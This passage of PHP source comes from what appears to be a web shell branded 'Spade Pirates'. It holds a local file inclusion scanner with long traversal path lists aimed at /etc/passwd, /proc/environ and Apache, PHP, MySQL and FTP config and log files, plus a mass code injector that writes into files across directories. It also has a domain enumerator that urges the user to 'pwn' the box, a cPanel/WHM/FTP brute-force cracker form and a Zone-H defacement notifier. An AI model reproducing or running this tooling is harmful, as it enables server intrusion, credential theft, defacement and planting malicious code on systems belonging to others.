1907 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
1908 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
1909 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
1910 $lfiaccess = array(
1911 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
1912 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
1913 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
1914 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
1915 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
1916 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
1917 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
1918 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
1919 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
1920 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
1921 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
1922 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
1923 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
1924 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
1925 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
1926 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
1927 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
1928 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
1929 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
1930 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
1931 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
1932 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
1933 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
1934
1935 $lfierror = array(
1936 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
1937 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
1938 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
1939 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
1940 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
1941 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
1942 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
1943 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
1944 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
1945 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
1946 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
1947 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
1948 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
1949 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
1950 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
1951 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
1952 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
1953 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
1954 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
1955 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
1956 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
1957 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
1958 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
1959
1960 $lficonfig = array(
1961 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
1962 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
1963 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
1964 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
1965 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
1966 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
1967 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
1968 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
1969 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
1970 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
1971 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
1972 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
1973 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
1974 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
1975 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
1976 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
1977 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
1978 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
1979 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
1980 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
1981 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
1982 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
1983 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
1984 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
1985 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
1986 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
1987 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
1988 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
1989 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
1990 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
1991 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
1992 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
1993 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
1994 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
1995 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
1996
1997 $lfiphpini = array(
1998 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
1999 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
2000 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
2001 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
2002 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
2003 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
2004 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
2005 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
2006 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
2007 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
2008 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
2009 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
2010 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
2011 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
2012 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
2013 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
2014 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
2015 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
2016 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
2017 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
2018 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
2019 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
2020 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
2021 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
2022 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
2023 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
2024 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
2025
2026 $lfimysql = array(
2027 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
2028 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
2029 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
2030 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
2031 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
2032 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
2033 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
2034 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
2035 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
2036 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
2037
2038 $lfiftp = array(
2039 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
2040 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
2041 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
2042 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
2043 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
2044 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
2045 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
2046 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
2047 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
2048 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
2049 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
2050 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
2051 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
2052 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
2053 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
2054 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
2055 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
2056 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
2057 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
2058 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
2059 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
2060 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
2061 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
2062 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
2063 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
2064 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
2065 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
2066 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
2067 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
2068 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
2069 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
2070 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
2071 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
2072 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
2073 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
2074 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
2075 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
2076 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
2077 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
2078 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
2079 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
2080 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
2081 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
2082 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
2083
2084
2085 $x = 1;
2086 if ( $type == 1 ) {
2087 $res1 = FetchURL($target.$lfitest);
2088 $res2 = FetchURL($target.$lfitest2);
2089 $rhash1 = md5($res1);
2090 $rhash2 = md5($res2);
2091 if ($rhash1 != $rhash2) {
2092 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2093 while($lfiaccess[$x]) {
2094 $res3 = FetchURL($target.$lfiaccess[$x]);
2095 $rhash3 = md5($res3);
2096 if ($rhash3 != $rhash2) {
2097 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
2098 }
2099 else {
2100 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
2101 }
2102 $x++;
2103 }
2104 }
2105 }
2106 if ( $type == 2 ) {
2107 $res1 = FetchURL($target.$lfitest);
2108 $res2 = FetchURL($target.$lfitest2);
2109 $rhash1 = md5($res1);
2110 $rhash2 = md5($res2);
2111 if ($rhash1 != $rhash2) {
2112 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2113 while($lficonfig[$x]) {
2114 $res3 = FetchURL($target.$lficonfig[$x]);
2115 $rhash3 = md5($res3);
2116 if ($rhash3 != $rhash2) {
2117 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
2118 }
2119 else {
2120 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
2121 }
2122 $x++;
2123 }
2124 }
2125 }
2126 if ( $type == 3 ) {
2127 $res1 = FetchURL($target.$lfitest);
2128 $res2 = FetchURL($target.$lfitest2);
2129 $rhash1 = md5($res1);
2130 $rhash2 = md5($res2);
2131 if ($rhash1 != $rhash2) {
2132 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2133 while($lfierror[$x]) {
2134 $res3 = FetchURL($target.$lfierror[$x]);
2135 $rhash3 = md5($res3);
2136 if ($rhash3 != $rhash2) {
2137 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
2138 }
2139 else {
2140 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
2141 }
2142 $x++;
2143 }
2144 }
2145 }
2146 if ( $type == 4 ) {
2147 $res1 = FetchURL($target.$lfitest);
2148 $res2 = FetchURL($target.$lfitest2);
2149 $rhash1 = md5($res1);
2150 $rhash2 = md5($res2);
2151 if ($rhash1 != $rhash2) {
2152 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2153 while($lfiphpini[$x]) {
2154 $res3 = FetchURL($target.$lfiphpini[$x]);
2155 $rhash3 = md5($res3);
2156 if ($rhash3 != $rhash2) {
2157 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
2158 }
2159 else {
2160 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
2161 }
2162 $x++;
2163 }
2164 }
2165 }
2166 if ( $type == 5 ) {
2167 $res1 = FetchURL($target.$lfitest);
2168 $res2 = FetchURL($target.$lfitest2);
2169 $rhash1 = md5($res1);
2170 $rhash2 = md5($res2);
2171 if ($rhash1 != $rhash2) {
2172 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2173 while($lfimysql[$x]) {
2174 $res3 = FetchURL($target.$lfimysql[$x]);
2175 $rhash3 = md5($res3);
2176 if ($rhash3 != $rhash2) {
2177 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
2178 }
2179 else {
2180 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
2181 }
2182 $x++;
2183 }
2184 }
2185 }
2186 if ( $type == 6 ) {
2187 $res1 = FetchURL($target.$lfitest);
2188 $res2 = FetchURL($target.$lfitest2);
2189 $rhash1 = md5($res1);
2190 $rhash2 = md5($res2);
2191 if ($rhash1 != $rhash2) {
2192 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2193 while($lfiftp[$x]) {
2194 $res3 = FetchURL($target.$lfiftp[$x]);
2195 $rhash3 = md5($res3);
2196 if ($rhash3 != $rhash2) {
2197 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
2198 }
2199 else {
2200 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
2201 }
2202 $x++;
2203 }
2204 }
2205 }
2206 if ( $type == 7 ) {
2207 $res1 = FetchURL($target.$lfitest);
2208 $res2 = FetchURL($target.$lfitest2);
2209 $rhash1 = md5($res1);
2210 $rhash2 = md5($res2);
2211 if ($rhash1 != $rhash2) {
2212 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
2213 $res3 = FetchURL($target.$lfiprocenv);
2214 $rhash3 = md5($res3);
2215 if ($rhash3 != $rhash2) {
2216 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
2217 }
2218 else {
2219 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
2220 }
2221 }
2222 }
2223 }
2224 }
2225 printFooter();
2226 }
2227function actionInjector(){
2228 printHeader();
2229 echo '<h1>Mass Code Injector</h1>';
2230 echo '<div class="content">';
2231
2232 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
2233 function get_structure($path,$depth) {
2234 global $DS;
2235 $res = array();
2236 if(in_array(0, $depth)) { $res[] = $path; }
2237 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
2238 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
2239 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
2240 }
2241 if(in_array(2, $depth) or in_array(3, $depth)) {
2242 $tmp2 = array();
2243 foreach($tmp1 as $t){
2244 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
2245 $tmp2 = array_merge($tmp2, $tp2);
2246 }
2247 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
2248 }
2249 if(in_array(3, $depth)) {
2250 $tmp3 = array();
2251 foreach($tmp2 as $t){
2252 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
2253 $tmp3 = array_merge($tmp3, $tp3);
2254 }
2255 $res = array_merge($res,$tmp3);
2256 }
2257 return $res;
2258 }
2259
2260 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
2261 $name = $_POST['name'] ? $_POST['name'] : '*';
2262 $type = $_POST['type'] ? $_POST['type'] : 'html';
2263 $path = $_POST['path'] ? $_POST['path'] : getcwd();
2264 $code = $_POST['code'] ? $_POST['code'] : 'Spade Pirates';
2265 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
2266 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
2267 $dt = get_structure($path,$depth);
2268 foreach ($dt as $d) {
2269 if($mode == 'a') {
2270 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
2271 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
2272 } else {
2273 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
2274 }
2275 } else {
2276 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
2277 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
2278 } else {
2279 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
2280 }
2281 }
2282 }
2283 } else {
2284 echo '<form method="post" action="">
2285 <table align="center">
2286 <tr>
2287 <td>Directory : </td>
2288 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
2289 </tr>
2290 <tr>
2291 <td class="title">Mode : </td>
2292 <td>
2293 <select style="width: 100px;" name="mode" class="box">
2294 <option value="a">Apender</option>
2295 <option value="w">Overwriter</option>
2296 </select>
2297 </td>
2298 </tr>
2299 <tr>
2300 <td class="title">File Name & Type : </td>
2301 <td>
2302 <input type="text" style="width: 100px;" name="name" value="*"/>
2303 <select style="width: 100px;" name="type" class="box">
2304 <option value="html">HTML</option>
2305 <option value="htm">HTM</option>
2306 <option value="php" selected="selected">PHP</option>
2307 <option value="asp">ASP</option>
2308 <option value="aspx">ASPX</option>
2309 <option value="xml">XML</option>
2310 <option value="txt">TXT</option>
2311 </select></td>
2312 </tr>
2313 <tr>
2314 <td class="title">Code Inject Depth : </td>
2315 <td>
2316 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
2317 <input type="checkbox" name="depth[]" value="1"/> 1
2318 <input type="checkbox" name="depth[]" value="2"/> 2
2319 <input type="checkbox" name="depth[]" value="3"/> 3
2320 </td>
2321 </tr>
2322 <tr>
2323 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
2324 </tr>
2325 <tr>
2326 <td colspan="2" style="text-align: center;">
2327 <input type="hidden" name="a" value="Injector">
2328 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
2329 <input type="hidden" name="p1">
2330 <input type="hidden" name="p2">
2331 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2332 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
2333 </tr>
2334 </table>
2335 </form>';
2336 }
2337 echo '</div>';
2338 printFooter();
2339}
2340 function actionDomain() {
2341 printHeader();
2342 echo '<h1>Local Domains</h1><div class=content>';
2343 $file = @implode(@file("/etc/named.conf"));
2344 if (!$file) {
2345 die("# Can't Read [/etc/named.conf] ... Sorry ! :( ");
2346 }
2347 preg_match_all("#named/(.*?).db#", $file, $r);
2348 $domains = array_unique($r[1]);
2349 //check();
2350 //if(isset($_GET['ShowAll']))
2351 {
2352 echo "<table align=center border=1 width=59% cellpadding=5>
2353<tr><td colspan=2>[#] There are : [ <b>" . count($domains) . "</b> ] Domain(s) on this box ... * I Suggest That You Should Pwn it ;) :D*</td></tr>
2354<tr><td>Domain</td><td>User</td></tr>";
2355 foreach ($domains as $domain) {
2356 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2357 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
2358 }
2359 echo "</table>";
2360 }
2361 echo '</div>';
2362 printFooter();
2363 }
2364
2365 function actionCpanel() {
2366 printHeader();
2367 echo '<h1>cPanel Cracker</h1>';
2368 echo '<div class="content">';
2369 echo '<table align=center class="main" border="0"><tr bgcolor="#5e5e5e"><td>Users</td><td></td><td>Selected Users</td><td>Password</td></tr>';
2370 echo '<tr><td><textarea rows="20" name="S1" cols="33"></textarea></td>';
2371 echo '<td><input type="button" name="cpad1" value=">" class="cpb"/><br /><br /><input type="button" name="cpadall" value=">>" class="cpb"/><br /><br />';
2372 echo '<input type="button" name="cprm1" value="<" class="cpb"/><br /><br /><input type="button" name="cprmall" value="<<" class="cpb"/></td>';
2373 echo '<td><textarea rows="20" name="users" cols="33"></textarea></td>';
2374 echo '<td><textarea rows="20" name="passwords" cols="33"></textarea></td>';
2375 echo '</tr>';
2376 echo '<tr><td><input style="width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbetcpw\')" value="Grab usernames from /etc/passwd"/><br /><input style="margin-top:5px;width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbhome\')" value="Grab usernames from /home"/></td><td></td>';
2377 echo '<td colspan="2"><span>Crack options: </span><input name="cracktype" value="cpanel" checked type="radio"><b>Cpanel(2082)</b> <input name="cracktype" value="whm" type="radio"><b>WHM(2087)</b> <input name="cracktype" value="ftp" type="radio"><b>Ftp(21)</b><br />
2378 <div style="margin-top:5px;"><span>Timeout delay: </span><input type="text" name="connect_timeout" size="4" value=""/>
2379 <input type="checkbox" name="bruteforce" value="true"/> <span>Bruteforce</span>
2380 <select name="charset">
2381 <option value="all">All Letters + Numbers</option>
2382 <option value="numeric">Numbers</option>
2383 <option value="letters">Letters</option>
2384 <option value="symbols">Symbols</option>
2385 <option value="lowercase">Lower Letters</option>
2386 <option value="uppercase">Higher Letters</option>
2387 <option value="lowernumeric">Lower Letters + Numbers</option>
2388 <option value="uppernumeric">Upper Letters + Numbers</option>
2389 <option value="lowersymbols">Lower Letters + Symbols</option>
2390 <option value="uppersymbols">Upper Letters + Symbols</option>
2391 <option value="letterssymbols">All Letters + Symbols</option>
2392 <option value="numberssymbols">Numbers + Symbols</option>
2393 <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
2394 <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
2395 <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
2396 </select></div>
2397 <div style="margin-top:5px;"><span>Min Bruteforce Length: </span><input type="text" name="min_length" size="5" value=""/> <span>Max Bruteforce Length: </span><input type="text" name="max_length" size="5" value=""/></div>
2398 <div style="margin-top:5px;text-align:center"><input type="submit" value="Crack Now" name="submit" style="font-weight: bold;"/></div>
2399 </td></tr>';
2400 echo '</table>';
2401 echo '</div>';
2402 printFooter();
2403 }
2404function actionZHposter(){
2405printHeader();
2406echo '<h1>Zone-H Notifier</h1><div class=content>';
2407
2408echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
2409<input type="text" name="p1" size="40" value="Spade Pirates" /></br>
2410<select name="p2">
2411<option >--------SELECT--------</option>
2412<option value="1">known vulnerability (i.e. unpatched system)</option>
2413<option value="2" >undisclosed (new) vulnerability</option>
2414<option value="3" >configuration / admin. mistake</option>
2415<option value="4" >brute force attack</option>
2416<option value="5" >social engineering</option>
2417<option value="6" >Web Server intrusion</option>
2418<option value="7" >Web Server external module intrusion</option>
2419<option value="8" >Mail Server intrusion</option>
2420<option value="9" >FTP Server intrusion</option>
2421<option value="10" >SSH Server intrusion</option>
2422<option value="11" >Telnet Server intrusion</option>
2423<option value="12" >RPC Server intrusion</option>
2424<option value="13" >Shares misconfiguration</option>
2425<option value="14" >Other Server intrusion</option>
2426<option value="15" >SQL Injection</option>
2427<option value="16" >URL Poisoning</option>
2428<option value="17" >File Inclusion</option>
2429<option value="18" >Other Web Application bug</option>
2430<option value="19" >Remote administrative panel access bruteforcing</option>
2431<option value="20" >Remote administrative panel access password guessing</option>
2432<option value="21" >Remote administrative panel access social engineering</option>
2433<option value="22" >Attack against administrator(password stealing/sniffing)</option>
2434<option value="23" >Access credentials through Man In the Middle attack</option>
2435<option value="24" >Remote service password guessing</option>
2436<option value="25" >Remote service password bruteforce</option>
2437<option value="26" >Rerouting after attacking the Firewall</option>
2438<option value="27" >Rerouting after attacking the Router</option>
2439<option value="28" >DNS attack through social engineering</option>
2440<option value="29" >DNS attack through cache poisoning</option>
